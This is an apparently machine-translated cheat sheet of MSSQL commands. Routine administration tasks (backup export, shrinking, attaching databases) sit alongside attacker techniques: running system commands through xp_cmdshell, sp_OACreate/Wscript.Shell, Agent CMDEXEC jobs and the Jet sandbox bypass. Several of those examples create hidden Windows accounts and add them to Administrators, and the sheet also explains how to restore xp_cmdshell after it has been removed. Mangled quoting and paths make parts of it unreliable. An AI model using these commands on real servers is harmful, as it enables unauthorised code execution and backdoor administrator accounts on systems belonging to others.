MSSQL Usage Summary

Reset Password

EXEC sp_password null, ' New password ', ' sa '

Execute system command

(1) Exec xp_cmdshell ' command to execute '

(2) Declare @shell int
exec sp_oacreate ' Wscript.Shell ', @shell out

exec sp_OAMethod @shell, ' run ', NULL, ' System command to execute '
exec sp_OAMethod @shell, ' run ', NULL, ' c:\windows\system32\cmd.exe/c net user kkk Zzz/add '
exec sp_OAMethod @shell, ' run ', NULL, ' c:\windows\system32\cmd.exe/c net localgroup Administrators Kkk/add '

(3) Use msdb;
exec sp_add_job @job_name = ' Ok1 ';
exec sp_add_jobstep @job_name = ' Ok1 ', @step_name = ' Okok ', @subsystem = ' CMDEXEC ', @command = ' net user ok 123/add ';
exec sp_add_jobserver @job_name = ' Ok1 ', @server_name = ' www-84937fcf932 ';
exec sp_start_job @job_name = ' Ok1 '

(4) EXEC master. Xp_regwrite ' HKEY_LOCAL_MACHINE ', ' Software\microsoft\jet\4.0\engines ', ' SandboxMode ', ' REG_DWORD ', 0--open sandbox mode

EXEC master.dbo.xp_regread ' HKEY_LOCAL_MACHINE ', ' Software\microsoft\jet\4.0\engines ', ' sandboxmode '--View the status of the sandbox mode
SELECT * from OpenRowSet (' microsoft.jet.oledb.4.0 ', ';D atabase=c:\windows\system32\ias\ias.mdb ', ' Select Shell ' ("net User 123 321/add ");--Create a subscriber named 123

1. If sandbox protection mode is not "off", an error will be added:
Server: Msg 7357, Level 16, State 2, line 1
Failed to process object ' select Shell ' ("cmd.exe/c net user User Passwd/add") '. The OLE DB provider ' microsoft.jet.oledb.4.0 ' indicates that there are no columns in the object.
OLE DB Error tracing [non-interface error:ole DB Provider Unable to process object, since the object have no Columnsprovidername= ' mi crosoft.jet.oledb.4.0 ', Query=select shell ("cmd.exe/c net user User Passwd/add").

2. If the. mdb does not exist or the input path is incorrect
Server: Msg 7399, Level 16, State 1, line 1
OLE DB provider ' microsoft.jet.oledb.4.0 ' error.
[OLE/DB provider returned message: File ' C:windowssystem32iasdnary1.mdb ' cannot be found. ]
OLE DB Error tracing [ole/db Provider ' microsoft.jet.oledb.4.0 ' IDBInitialize::Initialize returned 0x80004005:].

3. If there are some extra spaces in the input process, an error will be made. In particular, pay attention to this, many people directly online to find articles copied paste into the implementation.
Server: Msg 7357, Level 16, State 2, line 1
Failed to process object ' select Shell ' ("cmd.exe/c net user User Passwd/add") '. The OLE DB provider ' microsoft.jet.oledb.4.0 ' indicates that there are no columns in the object.
OLE DB Error tracing [non-interface error:ole DB Provider Unable to process object, since the object have no Columnsprovidername= ' mi crosoft.jet.oledb.4.0 ', Query=select shell ("cmd.exe/c net user User Passwd/add").

4. If the MDB permissions and Cmd.exe permissions are not correct, the problem will also occur.
When the MDB permissions are not correct,
Server: Msg 7320, Level 16, State 2, line 1
Failed to execute query against OLE DB provider ' microsoft.jet.oledb.4.0 '.
[OLE/DB provider returned message: unknown]
OLE DB Error tracing [ole/db Provider ' microsoft.jet.oledb.4.0 ' ICommandText::Execute returned 0X80040E14]

View User Permissions

Sp_helprotect null, ' User name '

Open Sql2005 's xp_cmdshell.

--Allow advanced options to be configured
EXEC sp_configure ' show advanced options ', 1
GO
--Reconfigure
RECONFIGURE
GO
--Enable xp_cmdshell
EXEC sp_configure ' xp_cmdshell ', 1

GO
--Reconfigure
RECONFIGURE
GO

--Execute the desired xp_cmdshell statement
Exec xp_cmdshell ' query user '
GO

--When you're done, remember to disable xp_cmdshell (security considerations from a safety perspective)

--Disable xp_cmdshell
EXEC sp_configure ' xp_cmdshell ', 0
GO
--Reconfigure
RECONFIGURE
GO
--Disable configuration Advanced options
EXEC sp_configure ' show advanced options ', 0
GO
--Reconfigure
RECONFIGURE
GO

View MSSQL Operation Log

SELECT * from Fn_dblog (null,null)

Commands for attaching a database

Osql-u sa-p (carriage return)
1> sp_attach_db @dbname = N ' xxx ',
2> @filename1 = N ' X:\xxx\xxx\xxx.mdf ',
3> @filename2 = N ' x:\xxx\xxx\xxx.ldf ';
4>go

Shrinking a Database

DBCC SHRINKDATABASE (' db_name ')

Extending database files

ALTER DATABASE db_customsms Add file (name=db_customsms_data,filename= ' D:\MSDE\MSSQL\Data\db_customsms_data3.mdf ')

The data in the export table is txt

BCP "Northwind.dbo.Customers" Out "D:\customers.txt"-C-USA-PSA

BCP "SELECT * from Northwind" queryout "D:\customers.txt"-c-usa-psa

Delete xp_cmdshell

EXEC sp_dropextendedproc ' xp_cmdshell '

Recovery xp_cmdshell

EXEC sp_addextendedproc xp_cmdshell, @dllname = ' Xplog70.dll '

Get Current server System time

Select GETDATE () the name of any table

Recovery xp_cmdshell

DBCC ADDEXTENDEDPROC ("xp_cmdshell", "Xplog70.dll")

View database connections

SELECT @ @connections

exec sp_who ' active '

Increase the MSSQL cache

exec sp_configure ' show advanced options ', 1

Reconfigure

exec sp_configure ' max server memory ', 512

Reconfigure

View the path to the currently used database

SELECT * from Sysfiles;

To restore the SP_ADDEXTENDEDPROC statement:
CREATE PROCEDURE sp_addextendedproc---1996/08/30 20:13
@functname nvarchar (517),/ (owner.) Name of function to call/
@dllname varchar (255)/ name of DLL containing function /
As
Set Implicit_transactions off
If @ @trancount > 0
Begin
RAISERROR (15002,-1,-1, ' sp_addextendedproc ')
Return (1)
End
DBCC ADDEXTENDEDPROC (@functname, @dllname)
Return (0)--sp_addextendedproc
GO
To restore the SP_DROPEXTENDEDPROC statement:
CREATE PROCEDURE Dbo.sp_dropextendedproc
@functname nvarchar (517)--Name of function
As
--If we ' re in a transaction, disallow the dropping of the
--Extended stored procedure.
Set Implicit_transactions off
If @ @trancount > 0
Begin
RAISERROR (15002,-1,-1, ' Sys.sp_dropextendedproc ')
Return (1)
End

--Drop the extended procedure mapping.
DBCC DROPEXTENDEDPROC (@functname)
Return (0)--sp_dropextendedproc
Recover sp_OACreate Statements

exec sp_addextendedproc sp_OACreate, ' Odsole70.dll '

Replace a character in a record

REPLACE (original-string, search-string, replace-string)

One of the disadvantages of this function is that the substitution of the Text,ntext type field is not supported and can be implemented using the following statement:
Update TableName set Recordname=replace (CAST (recordname as varchar (8000)), ' abc ', ' DDD ')

Export EXECL Table

exec xp_cmdshell ' bcp ' SELECT * or column name 1, column name 2 from library name. Owner. Table name "Queryout" C: \ filename. xls "-c-q-S" hostname "-u" user name "-P" password "

When you install SQL Server SP4, a previously installed program installation creates a pending file operation. You must restart the computer before you run the program

         在安装Sql或sp补丁的时候系统提示之前有挂起的安装操作，要求重启，这里往往重启无用，解决办法：到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager　　删除PendingFileRenameOperations.

MSSQL Usage Summary